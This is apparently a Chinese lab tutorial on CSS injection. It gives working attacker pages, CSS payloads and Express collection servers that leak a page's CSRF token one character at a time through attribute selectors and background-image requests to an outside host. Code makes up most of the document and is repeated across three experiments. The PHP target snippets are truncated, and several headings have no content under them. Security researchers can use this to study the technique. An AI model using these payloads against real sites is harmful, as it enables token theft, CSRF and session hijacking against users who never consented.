CSS注入就是使用CSS的一些特性写成脚本在特定的工作条件下造成用户敏感信息泄露的一种安全漏洞。
从用户提供的URL中引入CSS文件,CSS代码中采用了用户的输入数据。
CSS属性选择器让开发者可以根据属性标签的值匹配子字符串来选择元素。 这些属性值选择器可以做以下操作:
1.如果字符串以子字符串开头,则匹配;
2.如果字符串以子字符串结尾,则匹配;
3.如果字符串在任何地方包含子字符串,则匹配;
4.属性选择器能让开发人员查询单个属性的页面HTML标记,并且匹配它们的值。
而在实际环境中,如果一些敏感信息会被存放在HTML标签内,如CSRF token存储在隐藏表单的属性值中,这使得我们可以将CSS选择器与表单中的属性进行匹配,并根据表单是否与起始字符串匹配,加载一个外部资源,例如背景图片,来尝试猜测属性的起始字母。通过这种方式,攻击者可以进行逐字猜解并最终获取到完整的敏感数值。
#frames {
visibility: hidden;
}
vuln_url = 'http://www.xss.com/cors.php?css=';
server_receive_token_url = 'http://127.0.0.1:8083/receive/';
server_return_token_url = 'http://127.0.0.1:8083/return';
chars = "abcdefghijklmnopqrstuvwxyz0123456789".split("");
known = "";
function test_char(known, chars) {
// Remove all the frames
document.getElementById("frames").innerHTML = "";
// Append the chars with the known chars
css = build_css(chars.map(v => known + v));
// Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
frame = document.createElement("iframe");
frame.src = vuln_url + css;
frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
document.getElementById("frames").appendChild(frame);
// in 1 seconds, after the iframe loads, check to see if we got a response yet
setTimeout(function() {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", known_listener);
oReq.open("GET", server_return_token_url);
oReq.send();
}, 1000);
}
function build_css(values) {
css_payload = "";
for(var value in values) {
css_payload += "input[value^=\""
+ values[value]
+ "\"]{background-image:url("
+ server_receive_token_url
+ values[value]
+ ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
}
return css_payload;
}
function known_listener () {
document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
if(known != this.responseText) {
known = this.responseText;
test_char(known, chars);
} else {
known = this.responseText;
alert("CSRF token is: " + known);
}
}
test_char("", chars);
2.服务器端
var express = require('express');
var app = express();
var path = require('path');
var token = "";
app.all("*", function(req,res,next){
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
res.header("Access-Control-Allow-Credentials", true);
next()
})
app.get('/receive/:token', function(req, res) {
token = req.params.token;
console.log(token)
res.send('ok');
});
app.get('/return', function(req, res){
res.send(token);
});
app.get('/index.html', function(req, res){
res.sendFile(path.join(__dirname, 'index.html'));
})
var server = app.listen(8083, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
3.php页面
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
>
var TOKEN = "=$token2 ?>";
=preg_replace('#
4.启用node.js服务器
5.结果
6.总结
该方法适合当input里面没有hidden的时候使用,一般是用来获取我们跨域请求的tocken值,当我们利用css的属性选择器,通过不断的对我们的敏感值进行对比,最终获取到了我们的tocken值,通过这个值我们可以直接进入到该界面。
2.实验二(有hidden头部信息)
1.被攻击页面
#frames {
visibility: hidden;
}
vuln_url = 'http://www.xss.com/cors.php?css=';
server_receive_token_url = 'http://127.0.0.1:8083/receive/';
server_return_token_url = 'http://127.0.0.1:8083/return';
chars = "abcdefghijklmnopqrstuvwxyz0123456789".split("");
known = "";
function test_char(known, chars) {
// Remove all the frames
document.getElementById("frames").innerHTML = "";
// Append the chars with the known chars
css = build_css(chars.map(v => known + v));
// Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
frame = document.createElement("iframe");
frame.src = vuln_url + css;
frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
document.getElementById("frames").appendChild(frame);
// in 1 seconds, after the iframe loads, check to see if we got a response yet
setTimeout(function() {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", known_listener);
oReq.open("GET", server_return_token_url);
oReq.send();
}, 1000);
}
function build_css(values) {
css_payload = "";
for(var value in values) {
css_payload += "input[value^=\""
+ values[value]
+ "\"]~*{background-image:url("
+ server_receive_token_url
+ values[value]
+ ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
}
return css_payload;
}
function known_listener () {
document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
if(known != this.responseText) {
known = this.responseText;
test_char(known, chars);
} else {
known = this.responseText;
alert("CSRF token is: " + known);
}
}
test_char("", chars);
2.服务器
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 3000;
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
res.header("Access-Control-Allow-Credentials", true);
next()
})
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;
// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
res.send('');
});
app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
3.php页面
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
>
var TOKEN = "=$token2 ?>";
=preg_replace('#
4.总结
当我有hidden头的时候,我们可以通过兄弟选择器进行绕过,利用兄弟元素进行利用
3.实验三
1.被攻击页面
(async function () {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
const iframe = document.getElementById('iframe');
let extractedToken = '';
while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie();
createIframeWithCss();
extractedToken = await getTokenFromCookie();
document.getElementById('token').textContent = extractedToken;
}
function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function () {
const token = Cookies.get('token');
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}
function clearTokenCookie() {
Cookies.remove('token');
}
function generateCSS() {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${extractedToken}${char}"]~*{
background: url(http://127.0.0.1:3000/token/${extractedToken}${char})
}`;
}
return css;
}
function createIframeWithCss() {
iframe.src = 'http://127.0.0.1/css/index.php?css=' + encodeURIComponent(generateCSS());
}
})();
2.攻击的服务器
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 3000;
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
res.header("Access-Control-Allow-Credentials", true);
next()
})
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;
// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
res.send('');
});
app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
3.php内容
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
>
var TOKEN = "=$token2 ?>";
=preg_replace('#
4.启动服务器
5.结果
4.master
5.websocket进行css注入